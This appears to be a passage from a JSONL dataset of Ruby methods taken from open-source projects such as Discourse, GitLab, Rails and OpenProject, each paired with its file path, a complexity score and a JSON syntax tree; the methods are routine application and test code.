{"repo_name":"discourse","file_path":"./repos/discourse/app/controllers/posts_controller.rb","start_line":1008,"raw_source":"def signature_for(args)\n    +\"post##\" << Digest::SHA1.hexdigest(\n      args\n        .to_h\n        .to_a\n        .concat([[\"user\", current_user.id]])\n        .sort { |x, y| x[0] <=> y[0] }\n        .join { |x, y| \"#{x}:#{y}\" },\n    )\n  end","complexity_score":25.1,"ast_json":"{\"type\":\"def\",\"children\":[\"signature_for\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"args\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"post##\"]},\"+@\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Digest\"]},\"SHA1\"]},\"hexdigest\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"to_h\"]},\"to_a\"]},\"concat\",{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"id\"]}]}]}]},\"sort\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"x\"]},{\"type\":\"arg\",\"children\":[\"y\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"x\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"<=>\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"y\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]}]},\"join\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"x\"]},{\"type\":\"arg\",\"children\":[\"y\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"x\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"y\"]}]}]}]}]}]}]}","id":"4c453596-9971-434e-a386-80f15ca68d01"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/sidebars/user_settings/menus/comment_templates_menu.rb","start_line":36,"raw_source":"def current_user\n          context.current_user\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"current_user\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"context\"]},\"current_user\"]}]}","id":"bd76c0a2-5cf1-4bd4-903b-b9c667ab34e9"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/concerns/integrations/project_test_data.rb","start_line":45,"raw_source":"def job_events_data\n      build = Ci::JobsFinder.new(current_user: current_user, project: project).execute.first\n\n      no_data_error(s_('TestHooks|Ensure the project has CI jobs.')) unless build.present?\n\n      Gitlab::DataBuilder::Build.build(build)\n    end","complexity_score":13.2,"ast_json":"{\"type\":\"def\",\"children\":[\"job_events_data\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"build\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Ci\"]},\"JobsFinder\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"current_user\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project\"]},{\"type\":\"send\",\"children\":[null,\"project\"]}]}]}]},\"execute\"]},\"first\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"build\"]},\"present?\"]},null,{\"type\":\"send\",\"children\":[null,\"no_data_error\",{\"type\":\"send\",\"children\":[null,\"s_\",{\"type\":\"str\",\"children\":[\"TestHooks|Ensure the project has CI jobs.\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"DataBuilder\"]},\"Build\"]},\"build\",{\"type\":\"lvar\",\"children\":[\"build\"]}]}]}]}","id":"4a479f74-f66a-4a99-ad55-8f95d52f8829"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/test/plugin/test_filter_stdout.rb","start_line":59,"raw_source":"def test_output_type(data)\n        d = create_driver(CONFIG + config_element(\"\", \"\", { \"output_type\" => data }))\n        d.run {}\n        assert_equal data, d.instance.formatter.output_type\n      end","complexity_score":11.8,"ast_json":"{\"type\":\"def\",\"children\":[\"test_output_type\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"data\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"d\",{\"type\":\"send\",\"children\":[null,\"create_driver\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CONFIG\"]},\"+\",{\"type\":\"send\",\"children\":[null,\"config_element\",{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"output_type\"]},{\"type\":\"lvar\",\"children\":[\"data\"]}]}]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"d\"]},\"run\"]},{\"type\":\"args\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"data\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"d\"]},\"instance\"]},\"formatter\"]},\"output_type\"]}]}]}]}","id":"2ab3d6a5-4721-4abf-b26d-0ca90a62ae7b"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/models/spree/product.rb","start_line":375,"raw_source":"def storefront_description\n      property('short_description') || description\n    end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"storefront_description\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"property\",{\"type\":\"str\",\"children\":[\"short_description\"]}]},{\"type\":\"send\",\"children\":[null,\"description\"]}]}]}","id":"9b84dbd6-7cc5-402c-9c7e-ba1ae884a458"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/fixtures_test.rb","start_line":1401,"raw_source":"def test_resolves_belongs_to_symbols\n    assert_equal(parrots(:george), pirates(:blackbeard).parrot)\n  end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"test_resolves_belongs_to_symbols\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[null,\"parrots\",{\"type\":\"sym\",\"children\":[\"george\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pirates\",{\"type\":\"sym\",\"children\":[\"blackbeard\"]}]},\"parrot\"]}]}]}","id":"40ef85f0-f355-4326-8d55-73ff2e79c018"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/meeting/app/mailers/meeting_mailer.rb","start_line":77,"raw_source":"def cancelled_series(series, user, actor)\n    @actor = actor\n    @user = user\n    @series = series\n\n    open_project_headers \"Project\" => @series.project.identifier,\n                         \"Meeting-Id\" => @series.id\n\n    with_attached_ics(@series, user, cancelled: true) do\n      subject = I18n.t(\"meeting.email.cancelled.header\", title: @series.title)\n\n      mail(to: user, subject: \"[#{@series.project.name}] #{subject}\")\n    end\n  end","complexity_score":17.8,"ast_json":"{\"type\":\"def\",\"children\":[\"cancelled_series\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"series\"]},{\"type\":\"arg\",\"children\":[\"user\"]},{\"type\":\"arg\",\"children\":[\"actor\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@actor\",{\"type\":\"lvar\",\"children\":[\"actor\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@user\",{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@series\",{\"type\":\"lvar\",\"children\":[\"series\"]}]},{\"type\":\"send\",\"children\":[null,\"open_project_headers\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Project\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@series\"]},\"project\"]},\"identifier\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Meeting-Id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@series\"]},\"id\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_attached_ics\",{\"type\":\"ivar\",\"children\":[\"@series\"]},{\"type\":\"lvar\",\"children\":[\"user\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"cancelled\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"subject\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"meeting.email.cancelled.header\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@series\"]},\"title\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"mail\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"to\"]},{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"subject\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"[\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@series\"]},\"project\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\"] \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"subject\"]}]}]}]}]}]}]}]}]}]}","id":"daf10aca-b69c-429c-b42c-fc97cf8ce480"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/topic_user.rb","start_line":182,"raw_source":"def notification_level_change(user_id, topic_id, notification_level, reason_id)\n      message = { notification_level_change: notification_level }\n      message[:notifications_reason_id] = reason_id if reason_id\n      MessageBus.publish(\"/topic/#{topic_id}\", message, user_ids: [user_id])\n\n      DiscourseEvent.trigger(\n        :topic_notification_level_changed,\n        notification_level,\n        user_id,\n        topic_id,\n      )\n    end","complexity_score":5.1,"ast_json":"{\"type\":\"def\",\"children\":[\"notification_level_change\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user_id\"]},{\"type\":\"arg\",\"children\":[\"topic_id\"]},{\"type\":\"arg\",\"children\":[\"notification_level\"]},{\"type\":\"arg\",\"children\":[\"reason_id\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"message\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"notification_level_change\"]},{\"type\":\"lvar\",\"children\":[\"notification_level\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"reason_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"notifications_reason_id\"]},{\"type\":\"lvar\",\"children\":[\"reason_id\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MessageBus\"]},\"publish\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"/topic/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic_id\"]}]}]},{\"type\":\"lvar\",\"children\":[\"message\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_ids\"]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user_id\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DiscourseEvent\"]},\"trigger\",{\"type\":\"sym\",\"children\":[\"topic_notification_level_changed\"]},{\"type\":\"lvar\",\"children\":[\"notification_level\"]},{\"type\":\"lvar\",\"children\":[\"user_id\"]},{\"type\":\"lvar\",\"children\":[\"topic_id\"]}]}]}]}","id":"3ee8d23c-5e6a-40eb-9651-2be4fac5a4ef"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-reactions/app/models/discourse_reactions/reaction.rb","start_line":20,"raw_source":"def self.valid_reactions\n      Set[\n        DiscourseReactions::Reaction.main_reaction_id,\n        *SiteSetting.discourse_reactions_enabled_reactions.to_s.split(\"|\")\n      ]\n    end","complexity_score":6.4,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"valid_reactions\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Set\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DiscourseReactions\"]},\"Reaction\"]},\"main_reaction_id\"]},{\"type\":\"splat\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"discourse_reactions_enabled_reactions\"]},\"to_s\"]},\"split\",{\"type\":\"str\",\"children\":[\"|\"]}]}]}]}]}","id":"e6c037ca-2abd-4e9b-abeb-291b2f363a35"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/git/wiki_push_service/change.rb","start_line":56,"raw_source":"def revision\n        return change[:oldrev] if deleted?\n\n        change[:newrev]\n      end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"revision\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"deleted?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"change\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"oldrev\"]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"change\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"newrev\"]}]}]}]}","id":"35a163e7-7fdb-4b8c-a92a-dc79722aea1c"}
{"repo_name":"discourse","file_path":"./repos/discourse/migrations/lib/database/schema/model_writer.rb","start_line":126,"raw_source":"def datatypes_for_documentation(column)\n      datatypes =\n        Array(\n          case column.datatype\n          when :datetime, :date\n            \"Time\"\n          when :boolean\n            \"Boolean\"\n          when :inet\n            \"IPAddr\"\n          when :blob\n            \"String\"\n          when :json\n            \"Object\"\n          when :float\n            \"Float\"\n          when :integer\n            \"Integer\"\n          when :numeric\n            %w[Integer String]\n          when :text\n            \"String\"\n          else\n            raise \"Unknown datatype: #{column.datatype}\"\n          end,\n        )\n\n      datatypes << \"nil\" if column.nullable\n      datatypes.join(\", \")\n    end","complexity_score":23.0,"ast_json":"{\"type\":\"def\",\"children\":[\"datatypes_for_documentation\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"column\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"datatypes\",{\"type\":\"send\",\"children\":[null,\"Array\",{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"column\"]},\"datatype\"]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"datetime\"]},{\"type\":\"sym\",\"children\":[\"date\"]},{\"type\":\"str\",\"children\":[\"Time\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"boolean\"]},{\"type\":\"str\",\"children\":[\"Boolean\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"inet\"]},{\"type\":\"str\",\"children\":[\"IPAddr\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"blob\"]},{\"type\":\"str\",\"children\":[\"String\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"str\",\"children\":[\"Object\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"float\"]},{\"type\":\"str\",\"children\":[\"Float\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"integer\"]},{\"type\":\"str\",\"children\":[\"Integer\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"numeric\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Integer\"]},{\"type\":\"str\",\"children\":[\"String\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"text\"]},{\"type\":\"str\",\"children\":[\"String\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Unknown datatype: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"column\"]},\"datatype\"]}]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"column\"]},\"nullable\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"datatypes\"]},\"<<\",{\"type\":\"str\",\"children\":[\"nil\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"datatypes\"]},\"join\",{\"type\":\"str\",\"children\":[\", \"]}]}]}]}","id":"06a838b1-7ab3-4ce1-8712-3d1127a55561"}
{"repo_name":"discourse","file_path":"./repos/discourse/migrations/lib/importer/discourse_db.rb","start_line":16,"raw_source":"def copy_data(table_name, column_names, rows)\n      quoted_column_name_list = column_names.map { |c| quote_identifier(c) }.join(\",\")\n      sql = \"COPY #{table_name} (#{quoted_column_name_list}) FROM STDIN\"\n\n      inserted_rows = []\n      skipped_rows = []\n      column_count = column_names.size\n      data = Array.new(column_count)\n\n      rows.each_slice(COPY_BATCH_SIZE) do |sliced_rows|\n        # TODO Maybe add error handling and check if all rows fail to insert, or only\n        # some of them fail. Currently, if a single row fails to insert, then an exception\n        # will stop the whole import. Which seems fine because ideally the import script\n        # should ensure all data is valid. We might need to see how this works out in\n        # actual migrations...\n        @connection.transaction do\n          @connection.copy_data(sql, @encoder) do\n            sliced_rows.each do |row|\n              if row[SKIP_ROW_MARKER]\n                skipped_rows << row\n                next\n              end\n\n              i = 0\n              while i < column_count\n                data[i] = row[column_names[i]]\n                i += 1\n              end\n\n              @connection.put_copy_data(data)\n              inserted_rows << row\n            end\n          end\n\n          # give the caller a chance to do some work when a batch has been committed,\n          # for example, to store ID mappings\n          yield inserted_rows, skipped_rows\n\n          inserted_rows.clear\n          skipped_rows.clear\n        end\n      end\n\n      nil\n    end","complexity_score":49.0,"ast_json":"{\"type\":\"def\",\"children\":[\"copy_data\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"table_name\"]},{\"type\":\"arg\",\"children\":[\"column_names\"]},{\"type\":\"arg\",\"children\":[\"rows\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"quoted_column_name_list\",{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"column_names\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"c\"]}]},{\"type\":\"send\",\"children\":[null,\"quote_identifier\",{\"type\":\"lvar\",\"children\":[\"c\"]}]}]},\"join\",{\"type\":\"str\",\"children\":[\",\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"sql\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"COPY \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"table_name\"]}]},{\"type\":\"str\",\"children\":[\" (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"quoted_column_name_list\"]}]},{\"type\":\"str\",\"children\":[\") FROM STDIN\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"inserted_rows\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"skipped_rows\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"column_count\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"column_names\"]},\"size\"]}]},{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Array\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"column_count\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rows\"]},\"each_slice\",{\"type\":\"const\",\"children\":[null,\"COPY_BATCH_SIZE\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"sliced_rows\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@connection\"]},\"transaction\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@connection\"]},\"copy_data\",{\"type\":\"lvar\",\"children\":[\"sql\"]},{\"type\":\"ivar\",\"children\":[\"@encoder\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sliced_rows\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"row\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"const\",\"children\":[null,\"SKIP_ROW_MARKER\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"skipped_rows\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"row\"]}]},{\"type\":\"next\",\"children\":[]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"i\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"while\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"i\"]},\"<\",{\"type\":\"lvar\",\"children\":[\"column_count\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"i\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"column_names\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"i\"]}]}]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"i\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@connection\"]},\"put_copy_data\",{\"type\":\"lvar\",\"children\":[\"data\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"inserted_rows\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"row\"]}]}]}]}]},{\"type\":\"yield\",\"children\":[{\"type\":\"lvar\",\"children\":[\"inserted_rows\"]},{\"type\":\"lvar\",\"children\":[\"skipped_rows\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"inserted_rows\"]},\"clear\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"skipped_rows\"]},\"clear\"]}]}]}]},{\"type\":\"nil\",\"children\":[]}]}]}","id":"43c202f9-2efd-4f08-b4e0-0eace46527d4"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/core_ext/object/with_test.rb","start_line":8,"raw_source":"def initialize\n      @public_attr = :public\n      @another_public_attr = :another_public\n      @mixed_attr = :mixed\n      @protected_attr = :protected\n      @private_attr = :private\n    end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@public_attr\",{\"type\":\"sym\",\"children\":[\"public\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@another_public_attr\",{\"type\":\"sym\",\"children\":[\"another_public\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@mixed_attr\",{\"type\":\"sym\",\"children\":[\"mixed\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@protected_attr\",{\"type\":\"sym\",\"children\":[\"protected\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@private_attr\",{\"type\":\"sym\",\"children\":[\"private\"]}]}]}]}","id":"601bab32-7c38-483a-b03b-bb27ae678357"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/helpers/mail_digest_helper.rb","start_line":104,"raw_source":"def build_property_text(notification, is_overdue, days_diff)\n    return I18n.t(\"js.notifications.date_alerts.overdue\") if is_overdue && days_diff > 0\n    return I18n.t(\"js.notifications.date_alerts.milestone_date\") if notification.resource.milestone?\n    return I18n.t(\"js.work_packages.properties.startDate\") if notification.reason == \"date_alert_start_date\"\n\n    I18n.t(\"js.work_packages.properties.dueDate\")\n  end","complexity_score":13.8,"ast_json":"{\"type\":\"def\",\"children\":[\"build_property_text\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"notification\"]},{\"type\":\"arg\",\"children\":[\"is_overdue\"]},{\"type\":\"arg\",\"children\":[\"days_diff\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"is_overdue\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"days_diff\"]},\">\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"js.notifications.date_alerts.overdue\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"notification\"]},\"resource\"]},\"milestone?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"js.notifications.date_alerts.milestone_date\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"notification\"]},\"reason\"]},\"==\",{\"type\":\"str\",\"children\":[\"date_alert_start_date\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"js.work_packages.properties.startDate\"]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"js.work_packages.properties.dueDate\"]}]}]}]}","id":"8e75cc46-0e38-4edd-abd9-4ece6f644fcc"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/kubernetes/kubeconfig/template.rb","start_line":66,"raw_source":"def to_h\n          {\n            apiVersion: 'v1',\n            kind: 'Config',\n            clusters: clusters.map(&:to_h),\n            users: users.map(&:to_h),\n            contexts: contexts.map(&:to_h),\n            'current-context': current_context\n          }.compact\n        